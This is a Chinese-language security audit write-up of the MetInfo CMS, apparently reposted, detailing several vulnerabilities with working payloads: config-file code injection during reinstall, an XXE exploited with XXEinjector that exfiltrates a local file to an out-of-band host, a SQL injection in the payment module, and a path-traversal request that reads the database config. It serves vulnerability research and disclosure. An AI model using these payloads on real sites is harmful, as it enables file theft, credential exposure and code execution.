MetInfo最新版代码审计漏洞合集
最近想給 X 天貢獻點插件,時常會去留意 seebug 的最新漏洞列表,發現最近 MetInfo 的漏洞上座率蠻高的,就挑它來代碼審計了一波。
seebug 上均是?MetInfo 6.0.0?版本的,官方已更新至?6.1.0?上述問題是否修復了呢?
入口文件
這個框架的入口文件很多,都是index.php,比如online/index.php文件:
<?php define('M_NAME', 'online'); define('M_MODULE', 'web'); define('M_CLASS', 'online'); define('M_ACTION', 'do_online'); require_once '../app/system/entrance.php';定義了四個常量,用于框架載入時區分入口來源、所屬模塊、調用類及方法,最后載入entrance.php調用里面的靜態方法load::module(); 加載所需模塊。
通過查找index.php入口文件,找到可以達到前臺大多數方法的文件: /member/index.php。
<?php $M_MODULE='web'; if(@$_GET['m']) $M_MODULE=$_GET['m']; if(@!$_GET['n']) $_GET['n'] = "user"; if(@!$_GET['c']) $_GET['c'] = "profile"; if(@!$_GET['a']) $_get['a'] = "doindex"; @define('M_NAME', $_GET['n']); @define('M_MODULE', $M_MODULE); @define('M_CLASS', $_GET['c']); @define('M_ACTION', $_GET['a']); require_once '../app/system/entrance.php';可以看到,通過控制$_GET我們可以到達大多數方法。為什么是大多數呢?因為無法直接控制_load_class加載系統類。
里面的$action必須要do開頭,也就是調用的方法名必須要do開頭。
低版本信息泄漏
在安裝之前,我首先對比了一下兩個版本的修改文件記錄,發現上一個版本的install文件夾中存在一個phpinfo.php文件,里面就是一段<?php phpinfo(); ?> 代碼(6.1.0版本中已刪除)。
這就方便我們獲取目標網站的絕對路徑,后期不管是寫shell還是存在文件讀取的情況,可以快速定位及利用。
網上找到的實例:
安裝時寫getshell
前提條件:
想利用此處首先需要刪除config/install.lock安裝鎖文件。
在安裝過程中執行到db_setup(3.數據庫設置)步驟時,發現存在配置文件任意更改的情況。
最近在看<php配置文件寫入問題>
https://github.com/CHYbeta/Code-Audit-Challenges/blob/master/php/challenge-3.md)
一直想找機會將它寫一篇文章剛好這個 CMS 給了我機會。
關鍵函數fputs()它是fwrite()函數的別名,用于文件寫入。而且這里的邏輯也存在問題,應該將對文件的操作放在數據庫連接判斷后面。
當我們提交payload后:
setup=1&db_type=mysql&db_prefix=met_met"*/phpinfo();/* &db_host=localhost&db_name=met&db_username=root&db_pass= &cndata=yes&endata=yes&showdata=yes&submit=保存數據庫設置并繼續雖然頁面提示:數據庫連接數據庫失敗,但config/config_db.php文件內容已經被改變了。
參數受到64行代碼影響,'__COOKIE', '_POST', '_GET'傳遞都會加上addslashes()函數,所以單/雙引號會在前面加個反斜杠。
<?php/*con_db_host = "localhost"con_db_port = "3306"con_db_id = "root"con_db_pass = ""con_db_name = "met"tablepre = "met_met\"*/phpinfo();/*"db_charset = "utf8";*/ ?>我們訪問下看下:
實際上就是用*/去閉合最外層的/*,多行注釋的優先級是很高的。
XXE漏洞
漏洞發生在此處文件: app/system/pay/web/pay.class.php,未禁外部實體加載:
測試下是否存在外部引用:
使用XXEinjector工具來驗證漏洞,讀取本地文件:
# x @ xdeMacBook-Pro in ~/work/tools/HackTools/xxe/XXEinjector on git:master x [19:42:19] C:1 $ cat /etc/networks ## # Networks Database ## loopback127loopback-net# x @ xdeMacBook-Pro in ~/work/tools/HackTools/xxe/XXEinjector on git:master x [19:42:29] $ cat phprequest.txt POST /member/index.php?a=donotify&m=web&c=pay&n=pay HTTP/1.1 Host:cms777.com User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0 Accept:application/json, text/javascript, */*; q=0.01 Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding:gzip, deflate Content-Type:text/xml Referer:http://cms777.com/\; X-Requested-With:XMLHttpRequest DNT:1 Connection:close Pragma:no-cache Cache-Control:no-cache Content-Length:129XXEINJECT <data>4</data># x @ xdeMacBook-Pro in ~/work/tools/HackTools/xxe/XXEinjector on git:master x [19:42:34] $ sudo ./XXEinjector.rb --host=192.168.31.21 --file=/Users/x/work/tools/HackTools/xxe/XXEinjector/phprequest.txt --path=/etc/networks --verbose --httpport=89 --oob=http --phpfilter XXEinjector by Jakub Pa?aczyńskiEnumeration options: "y" - enumerate currect file (default) "n" - skip currect file "a" - enumerate all files in currect directory "s" - skip all files in currect directory "q" - quit[+]Sending request with malicious XML: http://cms777.com:80/member/index.php?a=donotify&m=web&c=pay&n=pay {"User-Agent"=>"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0", "Accept"=>"application/json, text/javascript, */*; q=0.01", "Accept-Language"=>"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding"=>"gzip, deflate", "Content-Type"=>"text/xml", "Referer"=>"http://cms777.com/\\;", "X-Requested-With"=>"XMLHttpRequest", "DNT"=>"1", "Connection"=>"close", "Pragma"=>"no-cache", "Cache-Control"=>"no-cache", "Content-Length"=>"118"}<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://192.168.31.21:89/file.dtd">%remote;%int;%trick;]> <data>4</data>[+]Got request for XML: GET /file.dtd HTTP/1.0[+]Responding with XML for:/etc/networks [+]XML payload sent: <!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/networks"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://192.168.31.21:89/?p=%payl;'>">[+]Response with file/directory content received: GET /?p=IyMKIyBOZXR3b3JrcyBEYXRhYmFzZQojIwpsb29wYmFjawkxMjcJCWxvb3BiYWNrLW5ldAo=HTTP/1.0[+]Retrieved data: [+]Nothing else to do. Exiting.IyMKIyBOZXR3b3JrcyBEYXRhYmFzZQojIwpsb29wYmFjawkxMjcJCWxvb3BiYWNrLW5ldAo=?的內容正好是?/etc/networks?文件內的內容。
對比?6.1.0?版本,此處未被修復,XXE 存在。
此處還存在一個?雞助的SQL注入
當傳遞 XML 內容:
<data> <out_trade_no>' and '1'='1</out_trade_no> </data>會進入GetOrder()方法:
if ($array && $array['out_trade_no']) {$date = $this->GetOrder($array['out_trade_no']);%this->doNotify_wxpay($date); }方法內部,$out_trade_no變量直接拼接進了sql語句中:
public function GetOrder($out_trade_no) {global $_M;if ($out_trade_no) {$query = "SELECT * FROM {$_M['table']['pay_order']} WHERE out_trade_no='{$out_trade_no}' ";$array = DB::get_one($query);return $array;} else {return FALSE;} }但是,利用的前提要滿足$_M['table']['pay_order']表存在,不然無法造成攻擊:
然后,親切問候一下:您忙,我吃檸檬,您開心就好!~
任意文件讀取
我們全局正則搜索下 \$_GET|\$_POST,發現一處可疑的地方接收$_GET['dir']。
從圖中的代碼中可以看到,接收外部參數后,將文件讀入緩存中后再用flush()函數刷新輸出緩沖至瀏覽器。
但目錄地址不能直接使用,需要進入if函數中去,而$dir變量中的字符串前4位必須要有http。
我賭一塊錢,當初寫這段代碼的程序員是想加外鏈圖片的顯示。
當然我們傳入./.../后,經過str_replace函數替換后會得到一個.,而單獨的/是不會被過濾的,如此反復即可構造出突破限制的路徑。
最終的payload:
/member/index.php?a=doshow&m=include&c=old_thumb&dir=http/./.../..././/./.../..././/config/config_db.php總結
以上是生活随笔為你收集整理的MetInfo最新版代码审计漏洞合集的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 记一次PowerShell免杀实战
- 下一篇: 审计某开源商城中的漏洞大礼包